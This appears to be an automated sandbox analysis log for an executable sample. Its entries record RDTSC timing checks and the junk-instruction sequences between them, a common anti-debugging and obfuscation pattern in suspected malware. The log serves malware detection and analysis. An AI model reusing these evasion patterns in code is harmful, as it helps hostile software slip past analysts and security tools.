Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C076D8 second address: C076EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C076EF second address: C076FB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5D5D24D0C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C096C4 second address: C096CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5D5CF5ECE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C096CF second address: C09715 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0CEh 0x00000007 pushad 0x00000008 jmp 00007F5D5D24D0D1h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F5D5D24D0D3h 0x0000001a push edi 0x0000001b js 00007F5D5D24D0C6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1326E second address: C13272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C13272 second address: C13278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C133D4 second address: C133E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 jl 00007F5D5CF5ECF2h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1353D second address: C13544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C13544 second address: C1357E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF0h 0x00000007 pushad 0x00000008 jmp 00007F5D5CF5ECF8h 0x0000000d jng 00007F5D5CF5ECE6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push ecx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1357E second address: C1359E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007F5D5D24D0C6h 0x0000000e jmp 00007F5D5D24D0D0h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1359E second address: C135A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C135A7 second address: C135AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C135AB second address: C135BA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5D5CF5ECE6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C13C4A second address: C13C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C13C4E second address: C13C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C13C52 second address: C13C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F5D5D24D0D2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C13C60 second address: C13C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C194ED second address: C194F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1891C second address: C18953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F5D5CF5ECF0h 0x0000000b jnp 00007F5D5CF5ECECh 0x00000011 jo 00007F5D5CF5ECE6h 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F5D5CF5ECF0h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C18953 second address: C18959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C180C3 second address: C180E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D5CF5ECF4h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C180E0 second address: C180E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C18EA9 second address: C18ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 jo 00007F5D5CF5ECE6h 0x0000000c pop edx 0x0000000d pushad 0x0000000e jnp 00007F5D5CF5ECE6h 0x00000014 jmp 00007F5D5CF5ECF1h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1929B second address: C1929F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1929F second address: C192A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEC63E second address: BEC659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5D24D0D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEC659 second address: BEC65D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEC65D second address: BCEA07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5D5D24D0CEh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F5D5D24D0C8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D2F2Fh], ecx 0x0000002f call dword ptr [ebp+122D304Fh] 0x00000035 jg 00007F5D5D24D0CAh 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEC7F9 second address: BEC80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F5D5CF5ECE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BECC18 second address: BECC4B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 60DCFA83h 0x0000000d pushad 0x0000000e mov dword ptr [ebp+1245E6F3h], ecx 0x00000014 mov cx, di 0x00000017 popad 0x00000018 push D2A85F22h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F5D5D24D0D2h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BECC4B second address: BECC51 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BECC51 second address: BECC5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F5D5D24D0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BECF8B second address: BECF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BED0F4 second address: BED10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F5D5D24D0D1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BED10F second address: BED165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F5D5CF5ECECh 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F5D5CF5ECE8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov cl, 47h 0x00000029 push 00000004h 0x0000002b jng 00007F5D5CF5ECF4h 0x00000031 pushad 0x00000032 mov dword ptr [ebp+122D27D6h], eax 0x00000038 mov dword ptr [ebp+1248AE1Fh], edi 0x0000003e popad 0x0000003f push eax 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEDA8C second address: BEDAB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F5D5D24D0C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEDAB3 second address: BEDB2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F5D5CF5ECE8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 jo 00007F5D5CF5ECF2h 0x0000002b jnc 00007F5D5CF5ECECh 0x00000031 xor edi, dword ptr [ebp+122D2B10h] 0x00000037 lea eax, dword ptr [ebp+12497370h] 0x0000003d call 00007F5D5CF5ECF7h 0x00000042 mov edx, edi 0x00000044 pop edx 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BEDB2B second address: BCF592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F5D5D24D0CCh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F5D5D24D0C8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a add dword ptr [ebp+122D2781h], ebx 0x00000030 mov dword ptr [ebp+122D23E8h], esi 0x00000036 call dword ptr [ebp+12461B11h] 0x0000003c pushad 0x0000003d push edi 0x0000003e push ebx 0x0000003f pop ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1D0D2 second address: C1D0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F5D5CF5ECEEh 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 jmp 00007F5D5CF5ECECh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1D0FE second address: C1D10A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F5D5D24D0C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1D27E second address: C1D284 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C1D284 second address: C1D28B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C26536 second address: C2653C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C2653C second address: C26541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C26541 second address: C26563 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007F5D5CF5ECE6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5D5CF5ECF6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C26704 second address: C26717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F5D5D24D0CCh 0x0000000d jnp 00007F5D5D24D0C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C26717 second address: C26732 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D5CF5ECF0h 0x00000008 je 00007F5D5CF5ECE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C26732 second address: C2675B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jng 00007F5D5D24D0C8h 0x0000000e push edi 0x0000000f jmp 00007F5D5D24D0D1h 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C2675B second address: C2675F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C2675F second address: C2677B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D5D24D0D3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C268A6 second address: C268B2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5D5CF5ECE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C268B2 second address: C268B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C268B8 second address: C268BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C268BC second address: C268C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C268C5 second address: C268F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 js 00007F5D5CF5ECE6h 0x0000000f jns 00007F5D5CF5ECE6h 0x00000015 pop edi 0x00000016 push ebx 0x00000017 push esi 0x00000018 pop esi 0x00000019 jmp 00007F5D5CF5ECF4h 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop esi 0x00000023 push edx 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C2734E second address: C2735B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C2735B second address: C2735F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C279BE second address: C279CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F5D5D24D0C6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C279CE second address: C279D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BAD1C2 second address: BAD203 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F5D5D24D0D2h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F5D5D24D0D9h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C2D635 second address: C2D63B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C2D63B second address: C2D63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C30363 second address: C3036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5D5CF5ECE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3036D second address: C30373 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C30373 second address: C30379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3068B second address: C306A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C341B2 second address: C341B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C34336 second address: C34346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0CAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C34346 second address: C3434A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3434A second address: C3434E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C344C3 second address: C344E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5D5CF5ECEBh 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3482D second address: C34832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C381EF second address: C381FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D5CF5ECEBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C381FE second address: C3820D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jno 00007F5D5D24D0C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3820D second address: C38212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C38212 second address: C38233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D5D24D0D1h 0x00000008 jns 00007F5D5D24D0C6h 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C38233 second address: C3823D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5D5CF5ECE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3839B second address: C383A5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5D5D24D0CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C38654 second address: C3865A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3865A second address: C38662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3878A second address: C38796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5D5CF5ECE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C38796 second address: C3879B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3879B second address: C387AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BA1251 second address: BA1270 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5D5D24D0C6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5D5D24D0CCh 0x00000011 pop ecx 0x00000012 push edx 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3FCBA second address: C3FCDE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F5D5CF5ECF6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F5D5CF5ECECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
